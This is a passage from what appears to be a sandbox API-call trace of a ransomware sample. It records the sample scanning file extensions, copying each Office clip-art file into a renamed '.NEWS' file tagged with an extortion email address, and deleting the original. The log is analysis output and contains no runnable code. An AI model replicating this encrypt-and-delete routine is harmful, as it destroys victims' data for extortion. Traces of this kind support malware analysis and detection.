Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.192] lstrlenW (lpString=".dbf") returned 4 [0080.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.192] lstrlenW (lpString=".1cd") returned 4 [0080.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0080.192] lstrlenW (lpString=".jpg") returned 4 [0080.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.192] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.192] lstrlenW (lpString="BL00248_.WMF") returned 12 [0080.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.193] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1536) returned 1 [0080.193] CloseHandle (hObject=0x390) returned 1 [0080.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0080.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.193] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.193] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0080.193] GetLastError () returned 0x0 [0080.193] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x600, lpOverlapped=0x0) returned 1 [0080.195] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x610, lpOverlapped=0x0) returned 1 [0080.196] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.196] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.196] SetEndOfFile (hFile=0x330) returned 1 [0080.196] CloseHandle (hObject=0x330) returned 1 [0080.197] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.197] SetEndOfFile (hFile=0x390) returned 1 [0080.198] CloseHandle (hObject=0x390) returned 1 [0080.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0080.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.199] lstrlenW (lpString=".doc") returned 4 [0080.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.199] lstrlenW (lpString=".docx") returned 5 [0080.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.199] lstrlenW (lpString=".pdf") returned 4 [0080.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.199] lstrlenW (lpString=".xls") returned 4 [0080.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.199] lstrlenW (lpString=".xlsx") returned 5 [0080.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.199] lstrlenW (lpString=".ppt") returned 4 [0080.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.199] lstrlenW (lpString=".zip") returned 4 [0080.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.199] lstrlenW (lpString=".rar") returned 4 [0080.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.199] lstrlenW (lpString=".bz2") returned 4 [0080.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.199] lstrlenW (lpString=".7z") returned 3 [0080.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.199] lstrlenW (lpString=".dbf") returned 4 [0080.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.199] lstrlenW (lpString=".1cd") returned 4 [0080.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.199] lstrlenW (lpString=".jpg") returned 4 [0080.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.200] lstrlenW (lpString=".doc") returned 4 [0080.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.200] lstrlenW (lpString=".docx") returned 5 [0080.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.200] lstrlenW (lpString=".pdf") returned 4 [0080.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.200] lstrlenW (lpString=".xls") returned 4 [0080.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.200] lstrlenW (lpString=".xlsx") returned 5 [0080.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.200] lstrlenW (lpString=".ppt") returned 4 [0080.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.200] lstrlenW (lpString=".zip") returned 4 [0080.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.200] lstrlenW (lpString=".rar") returned 4 [0080.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.200] lstrlenW (lpString=".bz2") returned 4 [0080.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.200] lstrlenW (lpString=".7z") returned 3 [0080.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.200] lstrlenW (lpString=".dbf") returned 4 [0080.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.200] lstrlenW (lpString=".1cd") returned 4 [0080.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0080.200] lstrlenW (lpString=".jpg") returned 4 [0080.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.201] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.201] lstrlenW (lpString="BL00252_.WMF") returned 12 [0080.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.201] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4708) returned 1 [0080.201] CloseHandle (hObject=0x390) returned 1 [0080.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220 [0080.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.201] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.201] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0080.202] GetLastError () returned 0x0 [0080.202] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1264, lpOverlapped=0x0) returned 1 [0080.203] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1270, lpOverlapped=0x0) returned 1 [0080.204] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.204] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.204] SetEndOfFile (hFile=0x330) returned 1 [0080.204] CloseHandle (hObject=0x330) returned 1 [0080.205] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.205] SetEndOfFile (hFile=0x390) returned 1 [0080.206] CloseHandle (hObject=0x390) returned 1 [0080.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0080.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.207] lstrlenW (lpString=".doc") returned 4 [0080.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.207] lstrlenW (lpString=".docx") returned 5 [0080.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.207] lstrlenW (lpString=".pdf") returned 4 [0080.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.207] lstrlenW (lpString=".xls") returned 4 [0080.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.207] lstrlenW (lpString=".xlsx") returned 5 [0080.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.207] lstrlenW (lpString=".ppt") returned 4 [0080.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.207] lstrlenW (lpString=".zip") returned 4 [0080.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.208] lstrlenW (lpString=".rar") returned 4 [0080.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.208] lstrlenW (lpString=".bz2") returned 4 [0080.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.208] lstrlenW (lpString=".7z") returned 3 [0080.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.208] lstrlenW (lpString=".dbf") returned 4 [0080.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.208] lstrlenW (lpString=".1cd") returned 4 [0080.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.208] lstrlenW (lpString=".jpg") returned 4 [0080.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.208] lstrlenW (lpString=".doc") returned 4 [0080.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.208] lstrlenW (lpString=".docx") returned 5 [0080.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.208] lstrlenW (lpString=".pdf") returned 4 [0080.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.209] lstrlenW (lpString=".xls") returned 4 [0080.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.209] lstrlenW (lpString=".xlsx") returned 5 [0080.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.209] lstrlenW (lpString=".ppt") returned 4 [0080.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.209] lstrlenW (lpString=".zip") returned 4 [0080.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.209] lstrlenW (lpString=".rar") returned 4 [0080.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.209] lstrlenW (lpString=".bz2") returned 4 [0080.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.209] lstrlenW (lpString=".7z") returned 3 [0080.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.209] lstrlenW (lpString=".dbf") returned 4 [0080.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.209] lstrlenW (lpString=".1cd") returned 4 [0080.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0080.209] lstrlenW (lpString=".jpg") returned 4 [0080.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.209] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.209] lstrlenW (lpString="BL00254_.WMF") returned 12 [0080.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.210] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1736) returned 1 [0080.210] CloseHandle (hObject=0x390) returned 1 [0080.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220 [0080.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.211] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.211] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0080.211] GetLastError () returned 0x0 [0080.211] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x6c8, lpOverlapped=0x0) returned 1 [0080.213] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x6d0, lpOverlapped=0x0) returned 1 [0080.214] ReadFile (in: hFile=0x390, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.214] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.215] SetEndOfFile (hFile=0x330) returned 1 [0080.215] CloseHandle (hObject=0x330) returned 1 [0080.216] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.216] SetEndOfFile (hFile=0x390) returned 1 [0080.217] CloseHandle (hObject=0x390) returned 1 [0080.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0080.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.218] lstrlenW (lpString=".doc") returned 4 [0080.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.218] lstrlenW (lpString=".docx") returned 5 [0080.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.218] lstrlenW (lpString=".pdf") returned 4 [0080.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.218] lstrlenW (lpString=".xls") returned 4 [0080.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.218] lstrlenW (lpString=".xlsx") returned 5 [0080.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.218] lstrlenW (lpString=".ppt") returned 4 [0080.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.218] lstrlenW (lpString=".zip") returned 4 [0080.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.218] lstrlenW (lpString=".rar") returned 4 [0080.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.218] lstrlenW (lpString=".bz2") returned 4 [0080.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.218] lstrlenW (lpString=".7z") returned 3 [0080.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.218] lstrlenW (lpString=".dbf") returned 4 [0080.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.218] lstrlenW (lpString=".1cd") returned 4 [0080.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.218] lstrlenW (lpString=".jpg") returned 4 [0080.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.218] lstrlenW (lpString=".doc") returned 4 [0080.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.218] lstrlenW (lpString=".docx") returned 5 [0080.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.219] lstrlenW (lpString=".pdf") returned 4 [0080.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.219] lstrlenW (lpString=".xls") returned 4 [0080.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.219] lstrlenW (lpString=".xlsx") returned 5 [0080.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.219] lstrlenW (lpString=".ppt") returned 4 [0080.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.219] lstrlenW (lpString=".zip") returned 4 [0080.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.219] lstrlenW (lpString=".rar") returned 4 [0080.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.219] lstrlenW (lpString=".bz2") returned 4 [0080.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.219] lstrlenW (lpString=".7z") returned 3 [0080.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.219] lstrlenW (lpString=".dbf") returned 4 [0080.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0080.219] lstrlenW (lpString=".1cd") returned 4 [0080.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 